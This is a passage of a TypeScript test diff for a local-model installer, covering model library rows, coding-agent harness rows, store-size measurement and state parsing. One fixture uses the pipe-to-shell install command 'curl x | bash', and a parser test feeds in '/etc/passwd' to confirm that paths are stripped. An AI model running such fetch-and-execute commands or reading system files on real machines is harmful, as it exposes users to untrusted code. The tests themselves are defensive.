+        { name: 'zeta:1b', size: 900_000_000, digest: 'z' },
+        { name: 'mimo-v2.6:9b-q4_k_m', size: 6_550_811_033, digest: 'm' },
+      ],
+    });
+    expect(rows.slice(2)).toEqual([
+      {
+        id: 'mimo-v2.6:9b-q4_k_m',
+        // The catalogue knows it, so it is named as the chooser names it.
+        label: 'MiMo V2.6 9B',
+        sizeBytes: 6_550_811_033,
+        sizeGb: '6.6',
+        active: false,
+        verified: false,
+        status: 'unverified',
+        actions: ['delete'],
+      },
+      {
+        id: 'zeta:1b',
+        label: 'zeta:1b',
+        sizeBytes: 900_000_000,
+        sizeGb: '0.9',
+        active: false,
+        verified: false,
+        status: 'unverified',
+        actions: ['delete'],
+      },
+    ]);
+  });
+
+  it('a name that is not a plain name:tag is listed with its size and offers nothing', () => {
+    const rows = buildLibraryRows(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      tags: [tagOf(ENTRY), { name: 'hf.co/someone/model:Q4', size: 1_000_000_000, digest: 'h' }],
+    });
+    expect(rows.find((row) => row.id === 'hf.co/someone/model:Q4')).toMatchObject({
+      status: 'unverified',
+      sizeGb: '1.0',
+      actions: [],
+    });
+  });
+
+  it('the model of a stopped job: listed once it is on disk, and neither switched to nor deleted', () => {
+    const rows = buildLibraryRows(SAMPLE.failed, {
+      ...LIVE,
+      running: true,
+      tags: [tagOf(OTHER), { name: MODEL.id, size: 23_105_798_956, digest: 'abc123' }],
+    });
+    expect(rows).toEqual([
+      { ...OTHER_ROW, actions: ['use', 'delete'] },
+      {
+        id: MODEL.id,
+        label: MODEL.label,
+        sizeBytes: 23_105_798_956,
+        sizeGb: '23.1',
+        active: false,
+        verified: false,
+        status: 'unverified',
+        actions: [],
+      },
+    ]);
+  });
+
+  it('while a job runs nothing is offered on any row', () => {
+    const rows = buildLibraryRows(SAMPLE.installing, { ...LIVE, running: true, tags: [tagOf(OTHER)] });
+    expect(rows.map((row) => row.actions)).toEqual([[]]);
+  });
+
+  it('a row without a known size has neither size member', () => {
+    const state: LocalModelStateFile = { ...SAMPLE.paused, library: [{ ...OTHER, bytes: undefined }] };
+    const [row] = buildLibraryRows(state, LIVE);
+    expect(row).not.toHaveProperty('sizeBytes');
+    expect(row).not.toHaveProperty('sizeGb');
+  });
+});
+
+describe('buildHarnessRows: the coding agents of the model in use', () => {
+  const ROWS: LocalHarnessEntry[] = [
+    { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
+    { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
+    { cli: 'pi', minContext: 65536, rank: 2 },
+    { cli: 'deepseek', minContext: 65536, rank: 1 },
+    { cli: 'later', minContext: 65536, rank: 0, gated: true },
+  ];
+  const fact = (cli: string, label: string, extra: Partial<HarnessFact> = {}): HarnessFact => ({
+    cli,
+    label,
+    installed: false,
+    installable: false,
+    acceptsModelId: () => true,
+    ...extra,
+  });
+  const FACTS: HarnessFact[] = [
+    fact('opencode', 'OpenCode', { installed: true }),
+    fact('claude', 'Claude Code', { installed: true, readyMark: 'shift+tab' }),
+    fact('pi', 'Pi', { installable: true, installCommand: 'npm install -g pi' }),
+    // A launcher without a profile: not startable, and one command does not make it so.
+    fact('deepseek', 'DeepSeek', { readyMark: '❯' }),
+    fact('later', 'Later', { installed: true }),
+  ];
+  const rows = (
+    state: LocalModelStateFile = SAMPLE.installed,
+    facts: readonly HarnessFact[] = FACTS,
+    memory: Parameters<typeof buildHarnessRows>[3] = {}
+  ) => buildHarnessRows(state, { harnesses: ROWS }, facts, memory);
+
+  it('lists every harness that is not gated, the default first, then by rank, each with how it stands', () => {
+    expect(rows()).toEqual([
+      { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: [] },
+      {
+        cli: 'claude',
+        cliLabel: 'Claude Code',
+        default: false,
+        status: 'ready',
+        slowFirstTurn: true,
+        // No mark on the catalogue row: the CLI registry's own stands.
+        readyMark: 'shift+tab',
+        actions: [],
+      },
+      {
+        cli: 'pi',
+        cliLabel: 'Pi',
+        default: false,
+        status: 'installable',
+        installCommand: 'npm install -g pi',
+        actions: ['install'],
+      },
+      { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] },
+    ]);
+  });
+
+  it('is empty in every state but installed', () => {
+    for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
+      expect(rows(SAMPLE[state])).toEqual([]);
+    }
+  });
+
+  it('leaves out a harness without a fact, one the model is too small for, and one that refuses its name', () => {
+    const small: LocalModelStateFile = { ...SAMPLE.installed, model: { ...MODEL, context: 32768 } };
+    expect(rows(small)).toEqual([]);
+    expect(rows(SAMPLE.installed, FACTS.slice(0, 1)).map((row) => row.cli)).toEqual(['opencode']);
+    const picky = FACTS.map((entry) => (entry.cli === 'claude' ? { ...entry, acceptsModelId: () => false } : entry));
+    expect(rows(SAMPLE.installed, picky).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
+    const throwing = FACTS.map((entry) =>
+      entry.cli === 'claude'
+        ? {
+            ...entry,
+            acceptsModelId: () => {
+              throw new Error('bad recipe');
+            },
+          }
+        : entry
+    );
+    expect(rows(SAMPLE.installed, throwing).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
+  });
+
+  it('the default is the agent of the installation while it can be started, else the first that can', () => {
+    const withClaude: LocalModelStateFile = { ...SAMPLE.installed, cli: { id: 'claude', label: 'Claude Code' } };
+    expect(rows(withClaude).map((row) => [row.cli, row.default])).toEqual([
+      ['claude', true],
+      ['opencode', false],
+      ['pi', false],
+      ['deepseek', false],
+    ]);
+    // The agent of the installation was uninstalled: a client that names none starts another.
+    const gone = FACTS.map((entry) =>
+      entry.cli === 'opencode'
+        ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'curl x | bash' })
+        : entry
+    );
+    expect(rows(SAMPLE.installed, gone).map((row) => [row.cli, row.default, row.status])).toEqual([
+      ['claude', true, 'ready'],
+      ['opencode', false, 'installable'],
+      ['pi', false, 'installable'],
+      ['deepseek', false, 'setup-needed'],
+    ]);
+    // Nothing can be started: the default stays the agent of the installation.
+    const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
+    expect(rows(SAMPLE.installed, none).find((row) => row.default)?.cli).toBe('opencode');
+  });
+
+  it('while one installer runs: that row says installing with its command, and no other row offers an install', () => {
+    const both = FACTS.map((entry) =>
+      entry.cli === 'deepseek' ? fact('deepseek', 'DeepSeek', { installable: true, installCommand: 'y' }) : entry
+    );
+    const during = rows(SAMPLE.installed, both, { running: 'pi' });
+    expect(during.find((row) => row.cli === 'pi')).toMatchObject({
+      status: 'installing',
+      installCommand: 'npm install -g pi',
+      actions: [],
+    });
+    expect(during.find((row) => row.cli === 'deepseek')).toMatchObject({ status: 'installable', actions: [] });
+    // The installer has landed and the memory has not caught up: the fact wins.
+    const landed = both.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
+    expect(rows(SAMPLE.installed, landed, { running: 'pi' }).find((row) => row.cli === 'pi')).toMatchObject({
+      status: 'ready',
+    });
+  });
+
+  it("a failed install stays on its row with the installer's last words, until the agent is there", () => {
+    const failed = { failed: { pi: { detail: 'npm ERR! network' } } };
+    expect(rows(SAMPLE.installed, FACTS, failed).find((row) => row.cli === 'pi')).toMatchObject({
+      status: 'installable',
+      actions: ['install'],
+      error: {
+        message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } },
+        detail: 'npm ERR! network',
+      },
+    });
+    const there = FACTS.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
+    expect(rows(SAMPLE.installed, there, failed).find((row) => row.cli === 'pi')).not.toHaveProperty('error');
+  });
+
+  it('the view: an agent that can be started offers a session exactly when the model does', () => {
+    const harnesses = rows();
+    const up = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', harnesses });
+    expect(up.harnesses.map((row) => [row.cli, row.actions])).toEqual([
+      ['opencode', ['start-session']],
+      ['claude', ['start-session']],
+      ['pi', ['install']],
+      ['deepseek', []],
+    ]);
+    expect(up.actions).toContain('install-agent');
+    expect(up.actions).toContain('start-session');
+    // A stopped runtime: nothing is started, an agent can still be installed.
+    const down = buildInstallView(SAMPLE.installed, { ...LIVE, running: false, harnesses });
+    expect(down.harnesses.map((row) => row.actions)).toEqual([[], [], ['install'], []]);
+    expect(down.actions).not.toContain('start-session');
+    expect(down.actions).toContain('install-agent');
+    // The live facts are not changed by the view.
+    expect(harnesses[0].actions).toEqual([]);
+  });
+
+  it('the view: with no agent that can be started no session is offered, and `cli` names the default row', () => {
+    const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
+    const view = buildInstallView(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      digest: 'same',
+      harnesses: rows(SAMPLE.installed, none),
+    });
+    expect(view.actions).not.toContain('start-session');
+    expect(view.actions).toContain('install-agent');
+    expect(view.cli).toBe('opencode');
+
+    const gone = FACTS.map((entry) =>
+      entry.cli === 'opencode' ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'x' }) : entry
+    );
+    const other = buildInstallView(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      digest: 'same',
+      harnesses: rows(SAMPLE.installed, gone),
+    });
+    // What an older client reads as "the agent to start": one that is there.
+    expect([other.cli, other.cliLabel]).toEqual(['claude', 'Claude Code']);
+    expect(other.actions).toContain('start-session');
+  });
+
+  it('install-agent is an action of the installed state only', () => {
+    for (const state of Object.keys(INSTALL_STATE_TABLE) as LocalModelInstallState[]) {
+      expect(INSTALL_STATE_TABLE[state].actions.includes('install-agent')).toBe(state === 'installed');
+    }
+    // Listed only while a row offers it.
+    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).not.toContain('install-agent');
+  });
+});
+
+describe('markLibraryCandidates', () => {
+  const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0];
+  const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true });
+
+  it('marks the model in use and a model a switch can take, at the context they were checked with', () => {
+    const recommendation = {
+      verdict: 'ok',
+      pick: candidate(MODEL.id, MODEL.context),
+      alternatives: [candidate(OTHER.id, OTHER.context), candidate('gpt-oss:20b', 65536)],
+    } as unknown as Recommendation;
+    const marked = markLibraryCandidates(recommendation, view);
+    expect(marked.pick?.library).toBe('active');
+    expect(marked.alternatives[0].library).toBe('ready');
+    expect(marked.alternatives[1]).not.toHaveProperty('library');
+    // The input is not written to.
+    expect(recommendation.pick).not.toHaveProperty('library');
+  });
+
+  it('a row at another context than the one that was checked is an install like any other', () => {
+    const recommendation = {
+      verdict: 'ok',
+      pick: candidate(MODEL.id, 65536),
+      alternatives: [candidate(OTHER.id, 131072)],
+    } as unknown as Recommendation;
+    expect(markLibraryCandidates(recommendation, view)).toBe(recommendation);
+  });
+
+  it('hands back the same object when there is nothing to mark', () => {
+    const none = { verdict: 'none', alternatives: [] } as unknown as Recommendation;
+    expect(markLibraryCandidates(none, view)).toBe(none);
+    const idle = buildInstallView(SAMPLE.idle, LIVE);
+    const recommendation = { verdict: 'ok', pick: candidate(MODEL.id, MODEL.context), alternatives: [] };
+    expect(markLibraryCandidates(recommendation as unknown as Recommendation, idle)).toBe(recommendation);
+  });
+
+  it('a checked model that changed is not marked ready', () => {
+    const changed = buildInstallView(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      tags: [
+        { name: MODEL.id, size: 1, digest: 'abc123' },
+        { name: OTHER.id, size: 1, digest: 'other' },
+      ],
+    });
+    const recommendation = {
+      verdict: 'ok',
+      pick: candidate(OTHER.id, OTHER.context),
+      alternatives: [],
+    } as unknown as Recommendation;
+    expect(markLibraryCandidates(recommendation, changed).pick).not.toHaveProperty('library');
+  });
+});
+
 describe('formatInstallMessage', () => {
   it('fills the slots of a sentence', () => {
     expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe(

test/local-model-recommend.test.ts

@@ -150,7 +150,12 @@ function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): Hard
 }
 
 /** Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */
-const HARNESS_LABELS: Record<string, string> = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' };
+const HARNESS_LABELS: Record<string, string> = {
+  opencode: 'OpenCode',
+  claude: 'Claude Code',
+  pi: 'Pi',
+  deepseek: 'DeepSeek',
+};
 
 /** What the server knows about one harness: installed and accepting every model id, unless overridden. */
 function fact(cli: string, overrides: Partial<HarnessFact> = {}): HarnessFact {
@@ -170,7 +175,10 @@ const STOCK = getLocalModelCatalog();
 /** The frozen catalogue of 2026-11-06: for the rule tests (see the file header). */
 const RULES = LocalModelCatalogSchema.parse(RULES_LOCAL_MODEL_CATALOG);
 
-/** Every harness installed, the gated one included. Both catalogues list the same three. */
+/**
+ * Every harness installed. The stock catalogue lists four and gates none; the rules catalogue
+ * lists the first three of them and gates one, which is what the gate tests need.
+ */
 const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli));
 
 /** A stock model row by id. */
@@ -595,9 +603,12 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => {
       tested: true,
       needSource: 'measured',
       tag: { kind: 'tested', label: 'Tested on a Mac like this' },
+      // Every harness of the catalogue can run it, the pick's own first, then by rank.
       harnesses: [
         { cli: 'opencode', cliLabel: 'OpenCode', installed: true },
         { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true },
+        { cli: 'pi', cliLabel: 'Pi', installed: true },
+        { cli: 'deepseek', cliLabel: 'DeepSeek', installed: true },
       ],
       // No runtime download was named, so an install downloads the model alone.
       installBytes: 23_105_798_956,
@@ -1642,9 +1653,12 @@ describe('harnesses', () => {
   const hw = mac(48, 'Apple M4 Max');
 
   it('never chooses a gated harness, even when it is the only one that could run a model', () => {
+    // The rule is tested on the rules catalogue, which gates one harness. The stock catalogue
+    // gates none since 2026-11-10; the sweep still runs on it, so a row gated again is covered.
+    expect(RULES.harnesses.filter((row) => row.gated).map((row) => row.cli)).toEqual(['pi']);
+    expect(STOCK.harnesses.filter((row) => row.gated)).toEqual([]);
     for (const [, catalog] of BOTH) {
       const gated = catalog.harnesses.filter((row) => row.gated).map((row) => row.cli);
-      expect(gated).toEqual(['pi']);
       for (const swept of SWEEP) {
         const result = recommend(swept, catalog, ALL_INSTALLED);
         for (const candidate of rows(result)) {

test/local-model-runtime.test.ts

@@ -37,6 +37,7 @@ import {
   OLLAMA_RUNTIME_PIN,
   parseInferenceComputeTotal,
   removeLocalModelFiles,
+  measureModelStore,
   removePartialModelBlobs,
   RUNTIME_CTX_CHECKPOINTS,
   RUNTIME_DOWNLOAD_RETRIES,
@@ -1103,3 +1104,56 @@ describe('removePartialModelBlobs', () => {
     expect(existsSync(join(outside, 'sha256-eee-partial'))).toBe(true);
   });
 });
+
+describe('measureModelStore', () => {
+  const blob = (name: string): string => join(paths.modelsDir, 'blobs', name);
+
+  it('is the sizes of the files in the blob folder, a download that was interrupted included', async () => {
+    await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true });
+    await mkdir(join(paths.modelsDir, 'manifests', 'registry.ollama.ai'), { recursive: true });
+    await writeFile(blob('sha256-aaa'), 'x'.repeat(1000));
+    await writeFile(blob('sha256-bbb'), 'y'.repeat(250));
+    await writeFile(blob('sha256-ccc-partial'), 'z'.repeat(40));
+    // The manifests are a few kilobytes beside gigabytes of layers: left out.
+    await writeFile(join(paths.modelsDir, 'manifests', 'registry.ollama.ai', 'latest'), '{"layers":[]}');
+    expect(await measureModelStore(paths)).toBe(1290);
+  });
+
+  it('is 0 without a model store, without a blob folder and for an empty one, and never throws', async () => {
+    expect(await measureModelStore(paths)).toBe(0);
+    await mkdir(paths.modelsDir, { recursive: true });
+    expect(await measureModelStore(paths)).toBe(0);
+    await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true });
+    expect(await measureModelStore(paths)).toBe(0);
+  });
+
+  it('reads nothing and changes nothing: the store is as it was afterwards', async () => {
+    await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true });
+    await writeFile(blob('sha256-aaa'), 'weights');
+    await writeFile(blob('sha256-bbb-partial'), 'half');
+    await measureModelStore(paths);
+    expect(await readFile(blob('sha256-aaa'), 'utf8')).toBe('weights');
+    expect(await readFile(blob('sha256-bbb-partial'), 'utf8')).toBe('half');
+  });
+
+  it('counts only regular files directly in the blob folder, and follows no link', async () => {
+    const outside = await outsideDir();
+    await writeFile(join(outside, 'huge'), 'h'.repeat(5000));
+    await mkdir(join(paths.modelsDir, 'blobs', 'a-folder'), { recursive: true });
+    await writeFile(join(paths.modelsDir, 'blobs', 'a-folder', 'inside'), 'i'.repeat(700));
+    await symlink(join(outside, 'huge'), blob('sha256-link'));
+    await writeFile(blob('sha256-aaa'), 'x'.repeat(10));
+    // The folder's file and the link's target are somebody else's: not counted.
+    expect(await measureModelStore(paths)).toBe(10);
+  });
+
+  it('a blob folder, a model store or a root that is a symlink counts as empty', async () => {
+    const outside = await outsideDir();
+    await writeFile(join(outside, 'sha256-eee'), 'e'.repeat(900));
+    await mkdir(paths.modelsDir, { recursive: true });
+    await symlink(outside, join(paths.modelsDir, 'blobs'));
+    expect(await measureModelStore(paths)).toBe(0);
+    // A path that is not inside the local model folder is refused before anything is read.
+    expect(await measureModelStore({ ...paths, modelsDir: outside })).toBe(0);
+  });
+});

test/local-model-state-store.test.ts

@@ -196,6 +196,89 @@ describe('parseLocalModelState', () => {
   });
 });
 
+describe('parseLocalModelState: the library', () => {
+  const QWEN = {
+    id: 'qwen3.6:35b-a3b',
+    label: 'Qwen3.6 35B-A3B',
+    context: 131072,
+    digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
+    bytes: 23_105_798_956,
+    cli: { id: 'opencode', label: 'OpenCode' },
+    verifiedAt: '2026-11-10T09:00:00.000Z',
+  };
+  const MIMO = { id: 'mimo-v2.6:9b-q4_k_m', label: 'MiMo V2.6 9B', context: 65536, digest: 'abc123' };
+  const read = (state: unknown) => parseLocalModelState(JSON.stringify(state));
+
+  it('reads back the checked models of an installed state and of a job, in their order', () => {
+    expect(read({ ...INSTALLED, library: [QWEN, MIMO] })).toEqual({ ...INSTALLED, library: [QWEN, MIMO] });
+    expect(read({ ...PAUSED, library: [MIMO] })).toEqual({ ...PAUSED, library: [MIMO] });
+    expect(read({ ...FAILED, library: [MIMO, QWEN] }).library).toEqual([MIMO, QWEN]);
+  });
+
+  it('a file an earlier build wrote has no list, and reads back without one', () => {
+    expect(read(INSTALLED)).toEqual(INSTALLED);
+    expect(read(INSTALLED)).not.toHaveProperty('library');
+    expect(read(PAUSED)).not.toHaveProperty('library');
+  });
+
+  it('an empty list stays an empty list: every checked model was deleted', () => {
+    expect(read({ ...PAUSED, library: [] }).library).toEqual([]);
+  });
+
+  it('a list that is not a list is dropped, the state is kept', () => {
+    for (const library of ['qwen', 7, { 0: QWEN }, null, true]) {
+      const state = read({ ...INSTALLED, library });
+      expect(state.state).toBe('installed');
+      expect(state).not.toHaveProperty('library');
+    }
+  });
+
+  it('drops an entry that could never be switched to: without its id, label, context or digest', () => {
+    const library = [
+      { ...QWEN, id: '' },
+      { ...QWEN, label: 7 },
+      { ...QWEN, context: 0 },
+      { ...QWEN, context: '131072' },
+      { ...QWEN, digest: undefined },
+      'qwen3.6:35b-a3b',
+      null,
+      ['qwen3.6:35b-a3b'],
+      MIMO,
+    ];
+    expect(read({ ...INSTALLED, library }).library).toEqual([MIMO]);
+  });
+
+  it('keeps one entry per model: the first', () => {
+    const library = [QWEN, { ...QWEN, context: 65536 }, MIMO];
+    expect(read({ ...INSTALLED, library }).library).toEqual([QWEN, MIMO]);
+  });
+
+  it('drops what it does not know inside an entry, and a member of the wrong type: an entry holds no path', () => {
+    const library = [
+      {
+        ...QWEN,
+        path: '/Users/me/.codeman/local-model/models',
+        blobs: ['/etc/passwd'],
+        bytes: -5,
+        cli: { id: 'opencode' },
+        verifiedAt: 7,
+      },
+    ];
+    const [entry] = read({ ...INSTALLED, library }).library ?? [];
+    expect(entry).toEqual({ id: QWEN.id, label: QWEN.label, context: QWEN.context, digest: QWEN.digest });
+    expect(JSON.stringify(read({ ...INSTALLED, library }))).not.toContain('/');
+  });
+
+  it('reads at most 64 entries of a list, however long it is', () => {
+    const library = Array.from({ length: 500 }, (_unused, i) => ({ ...MIMO, id: `model-${i}:9b` }));
+    expect(read({ ...INSTALLED, library }).library).toHaveLength(64);
+  });
+
+  it('an idle file has no list, whatever it says', () => {
+    expect(read({ schema: 1, state: 'idle', library: [QWEN] })).toEqual(IDLE_LOCAL_MODEL_STATE);
+  });
+});
+
 describe('readLocalModelState', () => {
   it('is idle when the file is missing, and never throws', async () => {
     expect(existsSync(FILE())).toBe(false);

test/local-model-ui.browser.test.ts

@@ -11,7 +11,11 @@
  *    the fill follows the selection;
  *  - the selected row carries the feature's colour on its reading edge;
  *  - the welcome button is really gone while it is `hidden`, and the window paints above App
- *    Settings.
+ *    Settings;
+ *  - the models on this Mac: the sizes on disk end on one edge under their caption, a row's
+ *    buttons end on the list's edge, the sizes do not move when a row's Delete question opens,
+ *    a long list scrolls from its top (it is never cut off above the frame), and under 560px a
+ *    row is two lines with nothing running off the side.
  *
  * The REAL index.html is served with its scripts taken out and the two shipping stylesheets
  * inlined (mobile.css under the media query its `<link>` carries); the real module runs on a
@@ -124,10 +128,54 @@ const STATUS = {
     developerTools: 'present',
     runtime: { version: '0.40.15', installed: false, downloadBytes: RUNTIME, downloadGb: '0.2', unpackedGb: '0.6' },
     folder: '/Users/sam/.codeman/local-model',
+    library: [],
     actions: ['install'],
   },
 };
 
+const libraryRow = (id: string, label: string, sizeGb: string, over: object = {}) => ({
+  id,
+  label,
+  context: 131072,
+  sizeBytes: Number(sizeGb) * 1e9,
+  sizeGb,
+  active: false,
+  verified: true,
+  status: 'ready',
+  actions: ['use', 'delete'],
+  ...over,
+});
+
+/** An installed model with two more models beside it: one checked, one the runtime lists and Codeman never checked. */
+const INSTALLED = {
+  ...STATUS,
+  install: {
+    ...STATUS.install,
+    state: 'installed',
+    running: true,
+    runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
+    model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
+    cli: 'opencode',
+    cliLabel: 'OpenCode',
+    context: 131072,
+    port: 11435,
+    endpointId: 'local-ollama',
+    loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true },
+    library: [
+      libraryRow('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', '23.1', { active: true, actions: [] }),
+      libraryRow('qwen3.8:27b-mtp-q4_k_m', 'Qwen3.8 27B', '17.7'),
+      libraryRow('mimo-v2.6:9b-q4_k_m', 'MiMo V2.6 9B', '6.6', {
+        context: undefined,
+        verified: false,
+        status: 'unverified',
+        actions: ['delete'],
+      }),
+    ],
+    store: { bytes: 47400000000, gb: '47.4' },
+    actions: ['start-session', 'stop', 'install', 'use', 'delete-model', 'remove'],
+  },
+};
+
 type Box = { left: number; right: number; top: number; bottom: number; width: number; height: number };
 
 /** What the page holds once the module ran on the stand-in class. */
@@ -160,7 +208,7 @@ describe('the local model window (real Chromium)', () => {
   });
 
   /** The real page at a width, the module loaded, the answer in, the window closed. */
-  async function load(width: number, height = 900) {
+  async function load(width: number, height = 900, answer: object = STATUS) {
     p = await browser.newPage({ viewport: { width, height }, deviceScaleFactor: 1 });
     // No motion: the bar is at its width as soon as it is painted, so nothing here waits on a clock.
     await p.emulateMedia({ reducedMotion: 'reduce' });
@@ -178,7 +226,7 @@ describe('the local model window (real Chromium)', () => {
       w.app = new w.CodemanApp();
       w.app._api = async () => ({ ok: true, status: 200, json: async () => ({ success: true, data: status }) });
       await w.app.loadLocalModel();
-    }, STATUS);
+    }, answer);
   }
 
   /** Two animation frames: whatever was just written is laid out and painted. */
@@ -343,6 +391,190 @@ describe('the local model window (real Chromium)', () => {
     expect(overflow).toBeLessThanOrEqual(0);
   });
 
+  it('the models on this Mac: sizes on one edge, a row one line, its buttons on the list edge', async () => {
+    await load(1440, 900, INSTALLED);
+    await open();
+    const rows = await boxes('.lm-lib-row');
+    expect(rows).toHaveLength(3);
+    const names = await boxes('.lm-lib-name');
+    const tags = await boxes('.lm-lib-tag');
+    const sizes = await boxes('.lm-lib-size');
+    const [caption] = await boxes('.lm-lib-caption-size');
+    expect(same(sizes.map((box) => box.right))).toBe(true);
+    expect(same([caption.right, sizes[0].right])).toBe(true);
+    expect(same(names.map((box) => box.left))).toBe(true);
+    expect(same(tags.map((box) => box.left))).toBe(true);
+    // One line a row: the name, the tag, the size and the buttons share its middle.
+    const middle = (box: Box) => (box.top + box.bottom) / 2;
+    const actions = await boxes('.lm-lib-row .lm-lib-actions');
+    for (let i = 0; i < rows.length; i++) {
+      expect(Math.abs(middle(names[i]) - middle(sizes[i]))).toBeLessThan(3);
+      expect(Math.abs(middle(tags[i]) - middle(sizes[i]))).toBeLessThan(3);
+      expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6);
+      expect(sizes[i].right).toBeLessThanOrEqual(actions[i].left + 0.6);
+    }
+    // The last button of a row ends where every line of the window ends: on "Add a model"'s edge.
+    const rowButtons = await boxes('.lm-lib-row .lm-lib-actions button:last-child');
+    const [add] = await boxes('.lm-lib-foot button');
+    expect(same([...rowButtons.map((box) => box.right), add.right])).toBe(true);
+    // The model in use carries the feature's colour on its reading edge; the others do not.
+    const paint = await p.evaluate(() => {
+      const probe = document.body.appendChild(document.createElement('i'));
+      probe.style.color = 'var(--lm-brand)';
+      const brand = getComputedStyle(probe).color;
+      probe.remove();
+      const edge = (sel: string) => getComputedStyle(document.querySelector(sel)!).borderLeftColor;
+      return { brand, on: edge('.lm-lib-row-on'), off: edge('.lm-lib-row:not(.lm-lib-row-on)') };
+    });
+    expect(paint.on).toBe(paint.brand);
+    expect(paint.off).not.toBe(paint.brand);
+    // The screen starts at the top of the frame, right under the header.
+    const [body] = await boxes('#localModelWindowBody');
+    const [title] = await boxes('.lm-title');
+    expect(title.top - body.top).toBeLessThan(40);
+  });
+
+  it('the Delete question opens under its row without moving the sizes', async () => {
+    await load(1440, 900, INSTALLED);
+    await open();
+    const before = await boxes('.lm-lib-size');
+    await p.click('.lm-lib-row:nth-of-type(3) .lm-lib-actions button:last-child');
+    await painted();
+    const [ask] = await boxes('.lm-lib-ask');
+    const rows = await boxes('.lm-lib-row');
+    const after = await boxes('.lm-lib-size');
+    // Sideways nothing moved; the rows after the question moved down by it.
+    expect(after.map((box) => Math.round(box.right))).toEqual(before.map((box) => Math.round(box.right)));
+    expect(ask.top).toBeGreaterThanOrEqual(rows[1].bottom - 1);
+    expect(rows[2].top).toBeGreaterThanOrEqual(ask.bottom - 1);
+    // The row's own buttons are unseen while it is asked about, and the red button is the question's.
+    const seen = await p.evaluate(() => ({
+      away: getComputedStyle(document.querySelector('.lm-lib-actions-away')!).visibility,
+      red: [...document.querySelectorAll('.local-model-window .wt-btn-danger')].map((el) => el.textContent),
+      focus: document.activeElement?.textContent,
+    }));
+    expect(seen).toEqual({ away: 'hidden', red: ['Delete'], focus: 'Cancel' });
+  });
+
+  it('a long list of models scrolls from its top: the first lines are never cut off above the frame', async () => {
+    const many = Array.from({ length: 14 }, (_unused, i) => libraryRow(`model-${i}:9b`, `Model ${i}`, '6.6'));
+    const answer = {
+      ...INSTALLED,
+      install: { ...INSTALLED.install, library: [...INSTALLED.install.library, ...many] },
+    };
+    for (const [width, height] of [
+      [1440, 900],
+      [390, 844],
+    ]) {
+      await load(width, height, answer);
+      await open();
+      const scroll = await p.evaluate(() => {
+        const body = document.getElementById('localModelWindowBody')!;
+        const title = body.querySelector('.lm-title')!.getBoundingClientRect();
+        const box = body.getBoundingClientRect();
+        return {
+          overflows: body.scrollHeight > body.clientHeight,
+          top: body.scrollTop,
+          titleInside: title.top >= box.top - 0.5,
+          sideways: body.scrollWidth - body.clientWidth,
+        };
+      });
+      expect(scroll).toEqual({ overflows: true, top: 0, titleInside: true, sideways: 0 });
+      // The buttons of the screen stay in the frame's foot, under the part that scrolls.
+      const [foot] = await boxes('#localModelWindowFoot');
+      const [win] = await boxes('.local-model-window');
+      expect(foot.bottom).toBeLessThanOrEqual(win.bottom + 0.6);
+      await p.close();
+    }
+  });
+
+  it('the models on this Mac under 560px: two lines a row, nothing off the side', async () => {
+    await load(390, 844, INSTALLED);
+    await open();
+    const names = await boxes('.lm-lib-name');
+    const tags = await boxes('.lm-lib-tag');
+    const sizes = await boxes('.lm-lib-size');
+    for (let i = 0; i < names.length; i++) {
+      // The name and its size, then the state and what can be done.
+      expect(tags[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
+      expect(sizes[i].top).toBeLessThan(names[i].bottom);
+      expect(same([names[i].left, tags[i].left])).toBe(true);
+    }
+    expect(same(sizes.map((box) => box.right))).toBe(true);
+    const buttons = await boxes('.lm-lib-row .lm-lib-actions button');
+    for (const button of buttons) expect(button.height).toBeGreaterThanOrEqual(36);
+    const overflow = await p.evaluate(() => {
+      const body = document.getElementById('localModelWindowBody')!;
+      return body.scrollWidth - body.clientWidth;
+    });
+    expect(overflow).toBeLessThanOrEqual(0);
+  });
+
+  it('the coding agents: chips that wrap inside the window at every width, the install command included', async () => {
+    const agents = [
